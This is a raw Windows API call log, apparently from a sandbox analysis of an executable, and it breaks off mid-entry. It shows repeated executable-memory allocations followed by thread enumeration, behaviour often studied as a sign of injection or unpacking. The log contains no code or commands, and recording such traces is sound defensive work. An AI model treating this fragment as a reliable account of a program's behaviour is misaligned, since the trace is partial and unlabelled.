VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0224.730] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0224.734] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0225.692] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0225.696] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0226.470] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0226.474] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0226.941] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0226.945] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0227.042] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0227.057] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0227.154] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0227.160] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0227.259] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0227.263] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0227.358] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0227.409] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0227.527] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0227.532] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0227.657] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0227.662] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0227.768] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0227.771] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0227.980] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0228.016] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0228.125] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0228.129] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0228.265] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0228.268] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0228.373] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0228.385] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0228.617] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0228.622] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0229.716] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0229.721] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0230.482] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0230.487] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0230.618] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0230.622] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0230.753] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0230.758] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0230.971] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0230.976] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0231.846] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0231.851] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0232.061] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0232.095] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0232.246] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0232.254] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0232.369] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0232.374] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0232.491] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0232.495] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0232.640] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0232.645] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0232.752] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0232.756] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0232.854] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0232.858] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0232.952] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0232.956] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.054] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.059] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.151] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.155] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.246] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.251] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.346] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.350] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.479] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.483] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.601] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.605] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.695] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.699] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.795] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.800] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0233.904] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0233.909] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0235.110] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0235.116] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0235.228] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0235.232] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0235.327] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0235.332] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0235.451] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0235.457] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0235.551] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0235.555] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x6a0000 [0235.654] VirtualFree (lpAddress=0x6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0235.661] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0235.661] GetModuleHandleA (lpModuleName="advapi32") returned 0x761b0000 [0235.677] GetModuleHandleA (lpModuleName="ntdll") returned 0x77bb0000 [0235.677] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x328 [0235.684] Thread32First (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.685] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.685] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.686] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.686] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.688] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.688] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.689] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.689] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.690] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.690] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.691] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.691] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.692] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.692] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.693] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.694] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.694] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.695] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.695] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.696] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.696] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.697] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.697] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.698] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.698] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.699] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.699] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.700] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.701] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.701] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.702] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.706] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.706] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.707] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.707] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.708] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.710] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.710] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.711] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.711] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.712] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.712] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.713] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.714] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.714] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.715] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.715] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.716] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.716] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.717] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.717] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.719] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.719] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.720] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.720] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.721] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.721] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.722] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.723] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.723] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.724] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.724] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.725] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.725] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.726] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.726] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.727] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.727] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.728] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.729] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.729] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.730] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.730] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.731] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.731] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.732] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.732] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.733] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.734] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.734] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.735] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.736] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.736] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.737] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.737] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.741] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.742] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.743] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.743] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.744] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.744] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.745] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.745] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.746] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.746] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.747] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.748] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.748] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.749] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.750] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.751] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.752] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.752] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.753] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.753] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.754] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.754] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.755] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.755] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.756] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.756] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.757] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.758] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.758] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.759] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.759] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.760] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.760] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.761] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.761] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.762] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.762] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.763] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.763] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.764] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.765] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.766] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.767] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.768] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.770] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.770] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.771] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.772] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.772] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.773] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.773] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.774] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.775] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.775] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.776] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.777] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.777] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.778] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.780] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.780] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.781] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.782] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.783] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.783] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.784] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.785] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.785] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.786] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.787] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.788] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.791] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.792] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.793] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.794] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.795] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.798] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.798] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.799] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.801] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.802] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.803] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.804] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.804] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.805] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.806] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.807] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.808] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.808] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.809] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.810] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.812] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.812] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.813] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.814] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.815] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.815] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.816] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.817] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.818] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.818] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.819] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.820] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.821] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.821] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.822] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.823] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.824] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.824] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.825] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.826] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.828] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.829] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.829] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.830] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.830] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.831] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.832] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.832] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.833] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.833] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.834] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.834] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.835] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.835] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.836] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.836] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.837] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.838] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.838] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.839] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.839] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.840] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.840] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.841] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.841] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.842] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.843] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.843] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.844] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.845] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.845] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.846] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.846] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.847] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.847] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.848] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.848] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.849] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.850] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.850] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.851] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.851] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.852] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.852] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.853] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.853] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.854] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.854] Thread32Next (hSnapshot=0x328, lpte=0x19f314) returned 1 [0235.855] Thread32Next 